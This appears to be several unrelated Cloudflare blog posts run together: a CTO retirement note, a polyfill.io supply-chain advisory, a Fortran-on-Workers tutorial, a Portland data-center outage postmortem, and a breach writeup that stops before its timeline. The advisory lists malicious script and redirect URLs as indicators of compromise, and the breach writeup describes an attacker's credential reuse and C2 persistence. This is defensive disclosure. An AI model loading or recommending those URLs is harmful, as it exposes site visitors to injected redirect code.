Today, after more than 13 years at the company, I am joining Cloudflare’s board of directors and retiring from my full-time position as CTO.

Back in 2012 I wrote a short post on my personal site simply titled: Programmer. The post announced that I’d recently joined a company called CloudFlare (still sporting that capital “F”) with the job title Programmer. I’d chosen that title in part because it was the very first title I’d ever had, and because it would reflect what I’d be doing at Cloudflare.

I had spent a lot of time working at startups—in technical and then management roles—and wanted to go back to the really technical part that I loved most. Cloudflare gave me that opportunity, and I worked on a lot of systems that make up the Cloudflare that so many people around the world use today.

Looking back on my time at the company it’s really, really hard to pick my top highlights. In 2019 I wrote 6,000 words on the experience of helping build Cloudflare. But here are five that stand out:

The night we finished the preparation to launch Universal SSL sticks in my memory. We set out to offer the Industry's First Universal SSL for free, effectively doubling the size of the encrypted web overnight, a big deal in 2014. I remember Cloudflare’s third co-founder, Lee Holloway, hunched over his laptop finishing the code. The team has been working on it all weekend, and late that Sunday night Lee announced “it’s done.” 

It’s easy to pick moments of great success or when things went really well and Cloudbleed in 2017 may not seem like a special moment, but it helped show who we were. It showed how a team could come together under intense stress, and how we could set the standard going forward for how companies disclose and talk about security problems. I personally discovered that a Google Meet call can be kept running for 24 hours and sleeping in two hour chunks is possible.

Originally from the UK, I was the first team member located outside the United States. I got to help build the largest offices outside the US: first, Cloudflare’s London office and then Cloudflare’s Lisbon office. These two offices are a big part of who we are today, with Lisbon being our European HQ.

When COVID halted our in-office work, I was blown away by the response from the team. As we all individually faced different difficulties because of the pandemic we continued to work together to ensure that the Internet, on which everyone was relying while confined at home, worked reliably and securely.

Picking a favourite product would be a bit like asking someone to choose their favourite child, but I have soft spots for Cloudflare’s WAF, DNS, and DDoS solutions because I personally worked on those systems. And I still feel I need to apologize to the WAF team who took over my code and had to face that one Perl script that shall not be named!

Beyond the products there’s something much deeper: Cloudflare’s mission to help build a better Internet. I’ve been very proud of how we have supported and advanced the Internet itself through our work on the latest standards and protocols. And I’m even prouder of the role we’ve played through Project Galileo, The Athenian Project, and Cloudflare for Campaigns.

Every week Cloudflare holds an all-hands company meeting which ends with “Shoutouts,” a chance to recognize members of the team who have gone above and beyond. Curiosity and empathy are two core values at Cloudflare, and I am struck every week by how often we’re recognizing teams of people who are being thanked for helping with a sale, fixing a bug, responding to an incident, or helping build Cloudflare. That team spirit is part of what makes Cloudflare a special place to work.

One of the things I will miss about not being at Cloudflare day-to-day is the incredible strength of the individual team members. I’ve been learning from them for 13 years straight!

When I joined the company the team was a lot smaller! We were 25 people and now, we’ve grown to more than 4,200 employees and 15 locations across the globe. As we grew I wore a lot of different hats. For a time I ran engineering, operations, security, and even IT. And, of course, I wrote for, and edited, the Cloudflare Blog for many, many years. Over time, we hired many great leaders to run those teams.

But the role that persisted was CTO. And today, we are announcing that, just as I gave up the title Programmer (and the programming that went along with it), I am giving up the title CTO (and the role’s responsibilities) for a new way to help Cloudflare grow and succeed, as a member of the board of directors.

Last year when I told Matthew that I planned to retire, I had not expected to be offered a seat on the company’s board. It’s an incredible and rare honour to go from being an employee of the company (albeit one who has been there from close to the beginning) to joining the board of directors. I am absolutely thrilled to be able to continue helping Cloudflare grow and succeed from a slightly different vantage point.

At the same time, Dane Knecht, who, until today, was SVP of Emerging Technology and Incubation, has become our CTO. Dane joined just a few months after me, and is uniquely positioned and experienced to take the CTO role. We’ve worked so closely for the last 13 years as peers, that in many meetings it would’ve been hard to distinguish our roles. I’m pretty sure that Dane bleeds Cloudflare orange, and I’ve never seen him wear a T-shirt that doesn’t say Cloudflare on it. He has been part of nearly every major milestone here at Cloudflare. He cares so deeply about the company, and its success; he will make a great CTO.

My plan isn’t to go off and work somewhere else, or start a new company. I intend to remain closely involved with Cloudflare in my role on the board. I am incredibly honoured, and grateful to have been part of Cloudflare’s incredible growth and success, and I am looking forward to helping the company continue its growth.

One area I’m particularly interested in assisting with is the company’s work across the product suite on AI. Back in 2002 (23 years ago! gulp!). I wrote a very popular open source machine learning (didn’t call it AI back then) email filtering program and in 2004 worked on how to deal with what happens when one AI system is used to attack another. At Cloudflare, we’ve used learning techniques to enhance security, block bots, and predict how our systems should behave and grow. There’s much more to do.

Just as co-founder Michelle likes to say: we’re just getting started. And so am I.

polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites.

Multiple reports, corroborated with data seen by our own client-side security system, Page Shield, have shown that the polyfill service was being used, and could be used again, to inject malicious JavaScript code into users’ browsers. This is a real threat to the Internet at large given the popularity of this library.

We have, over the last 24 hours, released an automatic JavaScript URL rewriting service that will rewrite any link to polyfill.io found in a website proxied by Cloudflare to a link to our mirror under cdnjs. This will avoid breaking site functionality while mitigating the risk of a supply chain attack.

Any website on the free plan has this feature automatically activated now. Websites on any paid plan can turn on this feature with a single click.

You can find this new feature under Security ⇒ Settings on any zone using Cloudflare.

Contrary to what is stated on the polyfill.io website, Cloudflare has never recommended the polyfill.io service or authorized their use of Cloudflare’s name on their website. We have asked them to remove the false statement, and they have, so far, ignored our requests. This is yet another warning sign that they cannot be trusted.

If you are not using Cloudflare today, we still highly recommend that you remove any use of polyfill.io and/or find an alternative solution. And, while the automatic replacement function will handle most cases, the best practice is to remove polyfill.io from your projects and replace it with a secure alternative mirror like Cloudflare’s even if you are a customer.

You can do this by searching your code repositories for instances of polyfill.io and replacing it with cdnjs.cloudflare.com/polyfill/ (Cloudflare’s mirror). This is a non-breaking change as the two URLs will serve the same polyfill content. All website owners, regardless of the website using Cloudflare, should do this now.

Back in February, the domain polyfill.io, which hosts a popular JavaScript library, was sold to a new owner: Funnull, a relatively unknown company. At the time, we were concerned that this created a supply chain risk. This led us to spin up our own mirror of the polyfill.io code hosted under cdnjs, a JavaScript library repository sponsored by Cloudflare.

The new owner was unknown in the industry and did not have a track record of trust to administer a project such as polyfill.io. The concern, highlighted even by the original author, was that if they were to abuse polyfill.io by injecting additional code to the library, it could cause far-reaching security problems on the Internet affecting several hundreds of thousands websites. Or it could be used to perform a targeted supply-chain attack against specific websites.

Unfortunately, that worry came true on June 25, 2024, as the polyfill.io service was being used to inject nefarious code that, under certain circumstances, redirected users to other websites.

We have taken the exceptional step of using our ability to modify HTML on the fly to replace references to the polyfill.io CDN in our customers’ websites with links to our own, safe, mirror created back in February.

In the meantime, additional threat feed providers have also taken the decision to flag the domain as malicious. We have not outright blocked the domain through any of the mechanisms we have because we are concerned it could cause widespread web outages given how broadly polyfill.io is used with some estimates indicating usage on nearly 4% of all websites.

The original report indicates that malicious code was injected that, under certain circumstances, would redirect users to betting sites. It was doing this by loading additional JavaScript that would perform the redirect, under a set of additional domains which can be considered Indicators of Compromise (IoCs):

https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/gtags.js
https://www.googie-anaiytics.com/keywords/vn-keyword.json
https://www.googie-anaiytics.com/webs-1.0.1.js
https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/webs-1.0.2.js
https://www.googie-anaiytics.com/ga.js
https://www.googie-anaiytics.com/web-1.0.1.js
https://www.googie-anaiytics.com/web.js
https://www.googie-anaiytics.com/collect.js
https://kuurza.com/redirect?from=bitget

(note the intentional misspelling of Google Analytics)

Page Shield, our client side security solution, is available on all paid plans. When turned on, it collects information about JavaScript files loaded by end user browsers accessing your website.

By looking at the database of detected JavaScript files, we immediately found matches with the IoCs provided above starting as far back as 2024-06-08 15:23:51 (first seen timestamp on Page Shield detected JavaScript file). This was a clear indication that malicious activity was active and associated with polyfill.io.

To achieve performant HTML rewriting, we need to make blazing-fast HTML alterations as responses stream through Cloudflare’s network. This has been made possible by leveraging ROFL (Response Overseer for FL). ROFL powers various Cloudflare products that need to alter HTML as it streams, such as Cloudflare Fonts, Email Obfuscation and Rocket Loader

ROFL is developed entirely in Rust. The memory-safety features of Rust are indispensable for ensuring protection against memory leaks while processing a staggering volume of requests, measuring in the millions per second. Rust's compiled nature allows us to finely optimize our code for specific hardware configurations, delivering performance gains compared to interpreted languages.

The performance of ROFL allows us to rewrite HTML on-the-fly and modify the polyfill.io links quickly, safely, and efficiently. This speed helps us reduce any additional latency added by processing the HTML file.

If the feature is turned on, for any HTTP response with an HTML Content-Type, we parse all JavaScript script tag source attributes. If any are found linking to polyfill.io, we rewrite the src attribute to link to our mirror instead. We map to the correct version of the polyfill service while the query string is left untouched.

The logic will not activate if a Content Security Policy (CSP) header is found in the response. This ensures we don’t replace the link while breaking the CSP policy and therefore potentially breaking the website.

Cloudflare proxies millions of websites, and a large portion of these sites are on our free plan. Free plan customers tend to have simpler applications while not having the resources to update and react quickly to security concerns. We therefore decided to turn on the feature by default for sites on our free plan, as the likelihood of causing issues is reduced while also helping keep safe a very large portion of applications using polyfill.io.

Paid plan customers, on the other hand, have more complex applications and react quicker to security notices. We are confident that most paid customers using polyfill.io and Cloudflare will appreciate the ability to virtually patch the issue with a single click, while controlling when to do so.

All customers can turn off the feature at any time.

This isn’t the first time we’ve decided a security problem was so widespread and serious that we’d enable protection for all customers regardless of whether they were a paying customer or not. Back in 2014, we enabled Shellshock protection for everyone. In 2021, when the log4j vulnerability was disclosed we rolled out protection for all customers.

If you are using Cloudflare, you can remove polyfill.io with a single click on the Cloudflare dashboard by heading over to your zone ⇒ Security ⇒ Settings. If you are a free customer, the rewrite is automatically active. This feature, we hope, will help you quickly patch the issue.

Nonetheless, you should ultimately search your code repositories for instances of polyfill.io and replace them with an alternative provider, such as Cloudflare’s secure mirror under cdnjs (https://cdnjs.cloudflare.com/polyfill/). Website owners who are not using Cloudflare should also perform these steps.

The underlying bundle links you should use are:

For minified: https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js For unminified: https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js

Doing this ensures your website is no longer relying on polyfill.io.

In April 2020, we blogged about how to get COBOL running on Cloudflare Workers by compiling to WebAssembly. The ecosystem around WebAssembly has grown significantly since then, and it has become a solid foundation for all types of projects, be they client-side or server-side.

As WebAssembly support has grown, more and more languages are able to compile to WebAssembly for execution on servers and in browsers. As Cloudflare Workers uses the V8 engine and supports WebAssembly natively, we’re able to support languages that compile to WebAssembly on the platform.

Recently, work on LLVM has enabled Fortran to compile to WebAssembly. So, today, we’re writing about running Fortran code on Cloudflare Workers.

Before we dive into how to do this, here’s a little demonstration of number recognition in Fortran. Draw a number from 0 to 9 and Fortran code running somewhere on Cloudflare’s network will predict the number you drew.

This is taken from the wonderful Fortran on WebAssembly post but instead of running client-side, the Fortran code is running on Cloudflare Workers. Read on to find out how you can use Fortran on Cloudflare Workers and how that demonstration works.

Not so fast! Or rather, actually pretty darn fast if you’re doing a lot of numerical programming or have scientific data to work with. Fortran (originally FORmula TRANslator) is very well suited for scientific workloads because of its native functionality for things like arithmetic and handling large arrays and matrices.

If you look at the ranking of the fastest supercomputers in the world you’ll discover that the measurement of “fast” is based on these supercomputers running a piece of software called LINPACK that was originally written in Fortran. LINPACK is designed to help with problems solvable using linear algebra.

The LINPACK benchmarks use LINPACK to solve an n x n system of linear equations using matrix operations and, in doing so, determine how fast supercomputers are. The code is available in Fortran, C and Java.

A related Fortran package, BLAS, also does linear algebra and forms the basis of the number identifying code above. But other Fortran packages are still relevant. Back in 2017, NASA ran a competition to make FUN3D (used to perform calculations of airflow over simulated aircraft). FUN3D is written in Fortran.

So, although Fortran (or at the time FORTRAN) first came to life in 1957, it’s alive and well and being used widely for scientific applications (there’s even Fortran for CUDA). One particular application left Earth 20 years after Fortran was born: Voyager. The Voyager probes use a combination of assembly language and Fortran to keep chugging along.

But back in our solar system, and back on Region: Earth, you can now use Fortran on Cloudflare Workers. Here’s how.

To make it easy to run your Fortran code on Cloudflare Workers, we created a tool called Fortiche (translates to smart in French). It uses Flang and Emscripten under the hood.

Flang is a frontend in LLVM and, if you read the Fortran on WebAssembly blog post, we currently have to patch LLVM to work around a few issues.

Emscripten is used to compile LLVM output and produce code that is compatible with Cloudflare Workers.

This is all packaged in the Fortiche Docker image. Let’s see a simple example.

add.f90:

SUBROUTINE add(a, b, res)
    INTEGER, INTENT(IN) :: a, b
    INTEGER, INTENT(OUT) :: res

    res = a + b
END

Here we defined a subroutine called add that takes a and b, sums them together and places the result in res.

Compile with Fortiche:

docker run -v $PWD:/input -v $PWD/output:/output xtuc/fortiche --export-func=add add.f90

Passing --export-func=add to Fortiche makes the Fortran add subroutine available to JavaScript.

The output folder contains the compiled WebAssembly module and JavaScript from Emscripten, and a JavaScript endpoint generated by Fortiche:

$ ls -lh ./output
total 84K
-rw-r--r-- 1 root root 392 avril 22 12:00 index.mjs
-rw-r--r-- 1 root root 27K avril 22 12:00 out.mjs
-rwxr-xr-x 1 root root 49K avril 22 12:00 out.wasm

And finally the Cloudflare Worker:

// Import what Fortiche generated
import {load} from "../output/index.mjs"

export default {
    async fetch(request: Request): Promise<Response> {
        // Load the Fortran program
        const program = await load();

        // Allocate space in memory for the arguments and result
        const aPtr = program.malloc(4);
        const bPtr = program.malloc(4);
        const outPtr = program.malloc(4);

        // Set argument values
        program.HEAP32[aPtr / 4] = 123;
        program.HEAP32[bPtr / 4] = 321;

        // Run the Fortran add subroutine
        program.add(aPtr, bPtr, outPtr);

        // Read the result
        const res = program.HEAP32[outPtr / 4];

        // Free everything
        program.free(aPtr);
        program.free(bPtr);
        program.free(outPtr);

        return Response.json({ res });
    },
};

Interestingly, the values we pass to Fortran are all pointers, therefore we have to allocate space for each argument and result (the Fortran integer type is four bytes wide), and pass the pointers to the add subroutine.

Running the Worker gives us the right answer:

$ curl https://fortran-add.cfdemos.workers.dev

{"res":444}

You can find the full example here.

This example is taken from https://gws.phd/posts/fortran_wasm/#mnist. It relies on the BLAS library, which is available in Fortiche with the flag: --with-BLAS-3-12-0.

Note that the LAPACK library is also available in Fortiche with the flag: --with-LAPACK-3-12-0.

You can try it below:

And you can access the source code here.

Let us know what you write using Fortran and Cloudflare Workers!

END

Here's a post we never thought we'd need to write: less than five months after one of our major data centers lost power, it happened again to the exact same data center. That sucks and, if you're thinking "why do they keep using this facility??," I don't blame you. We're thinking the same thing. But, here's the thing, while a lot may not have changed at the data center, a lot changed over those five months at Cloudflare. So, while five months ago a major data center going offline was really painful, this time it was much less so.

This is a little bit about how a high availability data center lost power for the second time in five months. But, more so, it's the story of how our team worked to ensure that even if one of our critical data centers lost power it wouldn't impact our customers.

On November 2, 2023, one of our critical facilities in the Portland, Oregon region lost power for an extended period of time. It happened because of a cascading series of faults that appears to have been caused by maintenance by the electrical grid provider, climaxing with a ground fault at the facility, and was made worse by a series of unfortunate incidents that prevented the facility from getting back online in a timely fashion.

If you want to read all the gory details, they're available here.

It's painful whenever a data center has a complete loss of power, but it's something that we were supposed to expect. Unfortunately, in spite of that expectation, we hadn't enforced a number of requirements on our products that would ensure they continued running in spite of a major failure.

That was a mistake we were never going to allow to happen again.

The incident was painful enough that we declared what we called Code Orange. We borrowed the idea from Google which, when they have an existential threat to their business, reportedly declares a Code Yellow or Code Red. Our logo is orange, so we altered the formula a bit.

Our conception of Code Orange was that the person who led the incident, in this case our SVP of Technical Operations, Jeremy Hartman, would be empowered to charge any engineer on our team to work on what he deemed the highest priority project. (Unless we declared a Code Red, which we actually ended up doing due to a hacking incident, and which would then take even higher priority. If you're interested, you can read more about that here.)

After getting through the immediate incident, Jeremy quickly triaged the most important work that needed to be done in order to ensure we'd be highly available even in the case of another catastrophic failure of a major data center facility. And the team got to work.

We didn’t expect such an extensive real-world test so quickly, but the universe works in mysterious ways. On Tuesday, March 26, 2024, — just shy of five months after the initial incident — the same facility had another major power outage. Below, we'll get into what caused the outage this time, but what is most important is that it provided a perfect test for the work our team had done under Code Orange. So, what were the results?

First, let’s revisit what functions the Portland data centers at Cloudflare provide. As described in the November 2, 2023, post, the control plane of Cloudflare primarily consists of the customer-facing interface for all of our services including our website and API. Additionally, the underlying services that provide the Analytics and Logging pipelines are primarily served from these facilities.

Just like in November 2023, we were alerted immediately that we had lost connectivity to our PDX01 data center. Unlike in November, we very quickly knew with certainty that we had once again lost all power, putting us in the exact same situation as five months prior. We also knew, based on a successful internal cut test in February, how our systems should react. We had spent months preparing, updating countless systems and activating huge amounts of network and server capacity, culminating with a test to prove the work was having the intended effect, which in this case was an automatic failover to the redundant facilities.

Our Control Plane consists of hundreds of internal services, and the expectation is that when we lose one of the three critical data centers in Portland, these services continue to operate normally in the remaining two facilities, and we continue to operate primarily in Portland. We have the capability to fail over to our European data centers in case our Portland centers are completely unavailable. However, that is a secondary option, and not something we pursue immediately.

On March 26, 2024, at 14:58 UTC, PDX01 lost power and our systems began to react. By 15:05 UTC, our APIs and Dashboards were operating normally, all without human intervention. Our primary focus over the past few months has been to make sure that our customers would still be able to configure and operate their Cloudflare services in case of a similar outage. There were a few specific services that required human intervention and therefore took a bit longer to recover, however the primary interface mechanism was operating as expected.

To put a finer point on this, during the November 2, 2023, incident the following services had at least six hours of control plane downtime, with several of them functionally degraded for days.

• API and Dashboard

• Zero Trust

• Magic Transit

• SSL

• SSL for SaaS

• Workers

• KV

• Waiting Room

• Load Balancing

• Zero Trust Gateway

• Access

• Pages

• Stream

• Images

During the March 26, 2024, incident, all of these services were up and running within minutes of the power failure, and many of them did not experience any impact at all during the failover.

The data plane, which handles the traffic that Cloudflare customers pass through our data centers in over 300 cities worldwide, was not impacted.

Our Analytics platform, which provides a view into customer traffic, was impacted and wasn’t fully restored until later that day. This was expected behavior as the Analytics platform is reliant on the PDX01 data center. Just like the Control Plane work, we began building new Analytics capacity immediately after the November 2, 2023, incident. However, the scale of the work requires that it will take a bit more time to complete. We have been working as fast as we can to remove this dependency, and we expect to complete this work in the near future.

Once we had validated the functionality of our Control Plane services, we were faced yet again with the cold start of a very large data center. This activity took roughly 72 hours in November 2023, but this time around we were able to complete this in roughly 10 hours. There is still work to be done to make that even faster in the future, and we will continue to refine our procedures in case we have a similar incident in the future.

As mentioned above, the power outage event from last November led us to introduce Code Orange, a process where we shift most or all engineering resources to addressing the issue at hand when there’s a significant event or crisis. Over the past five months, we shifted all non-critical engineering functions to focusing on ensuring high reliability of our control plane.

Teams across our engineering departments rallied to ensure our systems would be more resilient in the face of a similar failure in the future. Though the March 26, 2024, incident was unexpected, it was something we’d been preparing for.

The most obvious difference is the speed at which the control plane and APIs regained service. Without human intervention, the ability to log in and make changes to Cloudflare configuration was possible seven minutes after PDX01 was lost. This is due to our efforts to move all of our configuration databases to a Highly Available (HA) topology, and pre-provision enough capacity that we could absorb the capacity loss. More than 100 databases across over 20 different database clusters simultaneously failed out of the affected facility and restored service automatically. This was actually the culmination of over a year’s worth of work, and we make sure we prove our ability to failover properly with weekly tests.

Another significant improvement is the updates to our Logpush infrastructure. In November 2023, the loss of the PDX01 datacenter meant that we were unable to push logs to our customers. During Code Orange, we invested in making the Logpush infrastructure HA in Portland, and additionally created an active failover option in Amsterdam. Logpush took advantage of our massively expanded Kubernetes cluster that spans all of our Portland facilities and provides a seamless way for service owners to deploy HA compliant services that have resiliency baked in. In fact, during our February chaos exercise, we found a flaw in our Portland HA deployment, but customers were not impacted because the Amsterdam Logpush infrastructure took over successfully. During this event, we saw that the fixes we’d made since then worked, and we were able to push logs from the Portland region.

A number of other improvements in our Stream and Zero Trust products resulted in little to no impact to their operation. Our Stream products, which use a lot of compute resources to transcode videos, were able to seamlessly hand off to our Amsterdam facility to continue operations. Teams were given specific availability targets for the services and were provided several options to achieve those targets. Stream is a good example of a service that chose a different resiliency architecture but was able to seamlessly deliver their service during this outage. Zero Trust, which was also impacted in November 2023, has since moved the vast majority of its functionally to our hundreds of data centers, which kept working seamlessly throughout this event. Ultimately this is the strategy we are pushing all Cloudflare products to adopt as our data centers in over 300 cities worldwide provide the highest level of availability possible.

On March 26, 2024, at 14:58 UTC, PDX01 experienced a total loss of power to Cloudflare’s physical infrastructure following a reportedly simultaneous failure of four Flexential-owned and operated switchboards serving all of Cloudflare’s cages. This meant both primary and redundant power paths were deactivated across the entire environment. During the Flexential investigation, engineers focused on a set of equipment known as Circuit Switch Boards, or CSBs. CSBs are likened to an electrical panel board, consisting of a main input circuit breaker and series of smaller output breakers. Flexential engineers reported that infrastructure upstream of the CSBs (power feed, generator, UPS & PDU/transformer) was not impacted and continued to act normally. Similarly, infrastructure downstream from the CSBs such as Remote Power Panels and connected switchgear was not impacted – thus implying the outage was isolated to the CSBs themselves.

Initial assessment of the root cause of Flexential’s CSB failures points to incorrectly set breaker coordination settings within the four CSBs as one contributing factor. Trip settings which are too restrictive can result in overly sensitive overcurrent protection and the potential nuisance tripping of devices. In our case, Flexential’s breaker settings within the four CSBs were reportedly too low in relation to the downstream provisioned power capacities. When one or more of these breakers tripped, a cascading failure of the remaining active CSB boards resulted, thus causing a total loss of power serving Cloudflare’s cage and others on the shared infrastructure. During the triage of the incident, we were told that the Flexential facilities team noticed the incorrect trip settings, reset the CSBs and adjusted them to the expected values, enabling our team to power up our servers in a staged and controlled fashion. We do not know when these settings were established – typically, these would be set/adjusted as part of a data center commissioning process and/or breaker coordination study before customer critical loads are installed.

Our top priority is completing the resilience program for our Analytics platform. Analytics aren’t simply pretty charts in a dashboard. When you want to check the status of attacks, activities a firewall is blocking, or even the status of Cloudflare Tunnels - you need analytics. We have evidence that the resiliency pattern we are adopting works as expected, so this remains our primary focus, and we will progress as quickly as possible.

There were some services that still required manual intervention to properly recover, and we have collected data and action items for each of them to ensure that further manual action is not required. We will continue to use production cut tests to prove all of these changes and enhancements provide the resiliency that our customers expect.

We will continue to work with Flexential on follow-up activities to expand our understanding of their operational and review procedures to the greatest extent possible. While this incident was limited to a single facility, we will turn this exercise into a process that ensures we have a similar view into all of our critical data center facilities.

Once again, we are very sorry for the impact to our customers, particularly those that rely on the Analytics engine who were unable to access that product feature during the incident. Our work over the past four months has yielded the results that we expected, and we will stay absolutely focused on completing the remaining body of work.

On Thanksgiving Day, November 23, 2023, Cloudflare detected a threat actor on our self-hosted Atlassian server. Our security team immediately began an investigation, cut off the threat actor’s access, and on Sunday, November 26, we brought in CrowdStrike’s Forensic team to perform their own independent analysis.

Yesterday, CrowdStrike completed its investigation, and we are publishing this blog post to talk about the details of this security incident.

We want to emphasize to our customers that no Cloudflare customer data or systems were impacted by this event. Because of our access controls, firewall rules, and use of hard security keys enforced using our own Zero Trust tools, the threat actor’s ability to move laterally was limited. No services were implicated, and no changes were made to our global network systems or configuration. This is the promise of a Zero Trust architecture: it’s like bulkheads in a ship where a compromise in one system is limited from compromising the whole organization.

From November 14 to 17, a threat actor did reconnaissance and then accessed our internal wiki (which uses Atlassian Confluence) and our bug database (Atlassian Jira). On November 20 and 21, we saw additional access indicating they may have come back to test access to ensure they had connectivity.

They then returned on November 22 and established persistent access to our Atlassian server using ScriptRunner for Jira, gained access to our source code management system (which uses Atlassian Bitbucket), and tried, unsuccessfully, to access a console server that had access to the data center that Cloudflare had not yet put into production in São Paulo, Brazil.

They did this by using one access token and three service account credentials that had been taken, and that we failed to rotate, after the Okta compromise of October 2023. All threat actor access and connections were terminated on November 24 and CrowdStrike has confirmed that the last evidence of threat activity was on November 24 at 10:44.

(Throughout this blog post all dates and times are UTC.)

Even though we understand the operational impact of the incident to be extremely limited, we took this incident very seriously because a threat actor had used stolen credentials to get access to our Atlassian server and accessed some documentation and a limited amount of source code. Based on our collaboration with colleagues in the industry and government, we believe that this attack was performed by a nation state attacker with the goal of obtaining persistent and widespread access to Cloudflare’s global network.

On November 24, after the threat actor was removed from our environment, our security team pulled in all the people they needed across the company to investigate the intrusion and ensure that the threat actor had been completely denied access to our systems, and to ensure we understood the full extent of what they accessed or tried to access.

Then, from November 27, we redirected the efforts of a large part of the Cloudflare technical staff (inside and outside the security team) to work on a single project dubbed “Code Red”. The focus was strengthening, validating, and remediating any control in our environment to ensure we are secure against future intrusion and to validate that the threat actor could not gain access to our environment. Additionally, we continued to investigate every system, account and log to make sure the threat actor did not have persistent access and that we fully understood what systems they had touched and which they had attempted to access.

CrowdStrike performed an independent assessment of the scope and extent of the threat actor’s activity, including a search for any evidence that they still persisted in our systems. CrowdStrike’s investigation provided helpful corroboration and support for our investigation, but did not bring to light any activities that we had missed. This blog post outlines in detail everything we and CrowdStrike uncovered about the activity of the threat actor.

The only production systems the threat actor could access using the stolen credentials was our Atlassian environment. Analyzing the wiki pages they accessed, bug database issues, and source code repositories, it appears they were looking for information about the architecture, security, and management of our global network; no doubt with an eye on gaining a deeper foothold. Because of that, we decided a huge effort was needed to further harden our security protocols to prevent the threat actor from being able to get that foothold had we overlooked something from our log files.

Our aim was to prevent the attacker from using the technical information about the operations of our network as a way to get back in. Even though we believed, and later confirmed, the attacker had limited access, we undertook a comprehensive effort to rotate every production credential (more than 5,000 individual credentials), physically segment test and staging systems, performed forensic triages on 4,893 systems, reimaged and rebooted every machine in our global network including all the systems the threat actor accessed and all Atlassian products (Jira, Confluence, and Bitbucket).

The threat actor also attempted to access a console server in our new, and not yet in production, data center in São Paulo. All attempts to gain access were unsuccessful. To ensure these systems are 100% secure, equipment in the Brazil data center was returned to the manufacturers. The manufacturers’ forensic teams examined all of our systems to ensure that no access or persistence was gained. Nothing was found, but we replaced the hardware anyway.

We also looked for software packages that hadn’t been updated, user accounts that might have been created, and unused active employee accounts; we went searching for secrets that might have been left in Jira tickets or source code, examined and deleted all HAR files uploaded to the wiki in case they contained tokens of any sort. Whenever in doubt, we assumed the worst and made changes to ensure anything the threat actor was able to access would no longer be in use and therefore no longer be valuable to them.

Every member of the team was encouraged to point out areas the threat actor might have touched, so we could examine log files and determine the extent of the threat actor’s access. By including such a large number of people across the company, we aimed to leave no stone unturned looking for evidence of access or changes that needed to be made to improve security.

The immediate “Code Red” effort ended on January 5, but work continues across the company around credential management, software hardening, vulnerability management, additional alerting, and more.

The attack started in October with the compromise of Okta, but the threat actor only began targeting our systems using those credentials from the Okta compromise in mid-November.

The following timeline shows the major events:

We’ve written about this before but, in summary, we were (for the second time) the victim of a compromise of Okta’s systems which resulted in a threat actor gaining access to a set of credentials. These credentials were meant to all be rotated.

Unfortunately, we failed to rotate one service token and three service accounts (out of thousands) of credentials that were leaked during the Okta compromise.

One was a Moveworks service token that granted remote access into our Atlassian system. The second credential was a service account used by the SaaS-based Smartsheet application that had administrative access to our Atlassian Jira instance, the third account was a Bitbucket service account which was used to access our source code management system, and the fourth was an AWS environment that had no access to the global network and no customer or sensitive data.

The one service token and three accounts were not rotated because mistakenly it was believed they were unused. This was incorrect and was how the threat actor first got into our systems and gained persistence to our Atlassian products. Note that this was in no way an error on the part of Atlassian, AWS, Moveworks or Smartsheet. These were merely credentials which we failed to rotate.

Our logs show that the threat actor started probing and performing reconnaissance of our systems beginning on November 14, looking for a way to use the credentials and what systems were accessible. They attempted to log into our Okta instance and were denied access. They attempted access to the Cloudflare Dashboard and were denied access.

Additionally, the threat actor accessed an AWS environment that is used to power the Cloudflare Apps marketplace. This environment was segmented with no access to global network or customer data. The service account to access this environment was revoked, and we validated the integrity of the environment.

The threat actor successfully accessed Atlassian Jira and Confluence on November 15 using the Moveworks service token to authenticate through our gateway, and then they used the Smartsheet service account to gain access to the Atlassian suite. The next day they began looking for information about the configuration and management of our global network, and accessed various Jira tickets.

The threat actor searched the wiki for things like remote access, secret, client-secret, openconnect, cloudflared, and token. They accessed 36 Jira tickets (out of a total of 2,059,357 tickets) and 202 wiki pages (out of a total of 194,100 pages).

The threat actor accessed Jira tickets about vulnerability management, secret rotation, MFA bypass, network access, and even our response to the Okta incident itself.

The wiki searches and pages accessed suggest the threat actor was very interested in all aspects of access to our systems: password resets, remote access, configuration, our use of Salt, but they did not target customer data or customer configurations.

The threat actor used the Smartsheet credential to create an Atlassian account that looked like a normal Cloudflare user. They added this user to a number of groups within Atlassian so that they’d have persistent access to the Atlassian environment should the Smartsheet service account be removed.

During this period, the attacker took a break from accessing our systems (apart from apparently briefly testing that they still had access) and returned just before Thanksgiving.

Since the Smartsheet service account had administrative access to Atlassian Jira, the threat actor was able to install the Sliver Adversary Emulation Framework, which is a widely used tool and framework that red teams and attackers use to enable “C2” (command and control), connectivity gaining persistent and stealthy access to a computer on which it is installed. Sliver was installed using the ScriptRunner for Jira plugin.

This allowed them continuous access to the Atlassian server, and they used this to attempt lateral movement. With this access the Threat Actor attempted to gain access to a non-production console server in our São Paulo, Brazil data center due to a non-enforced ACL. The access was denied, and they were not able to access any of the global network.

Over the next day, the threat actor viewed 120 code repositories (out of a total of 11,904 repositories). Of the 120, the threat actor used the Atlassian Bitbucket git archive feature on 76 repositories to download them to the Atlassian server, and even though we were not able to confirm whether or not they had been exfiltrated, we decided to treat them as having been exfiltrated.

The 76 source code repositories were almost all related to how backups work, how the global network is configured and managed, how identity works at Cloudflare, remote access, and our use of Terraform and Kubernetes. A small number of the repositories contained encrypted secrets which were rotated immediately even though they were strongly encrypted themselves.

We focused particularly on these 76 source code repositories to look for embedded secrets, (secrets stored in the code were rotated), vulnerabilities and ways in which an attacker could use them to mount a subsequent attack. This work was done as a priority by engineering teams across the company as part of “Code Red”.

As a SaaS company, we’ve long believed that our source code itself is not as precious as the source code of software companies that distribute software to end users. In fact, we’ve open sourced a large amount of our source code and speak openly through our blog about algorithms and techniques we use. So our focus was not on someone having access to the source code, but whether that source code contained embedded secrets (such as a key or token) and vulnerabilities.

Our security team was alerted to the threat actor’s presence at 16:00 and deactivated the Smartsheet service account 35 minutes later. 48 minutes later the user account created by the threat actor was found and deactivated. Here’s the detailed timeline for the major actions taken to block the threat actor once the first alert was raised.

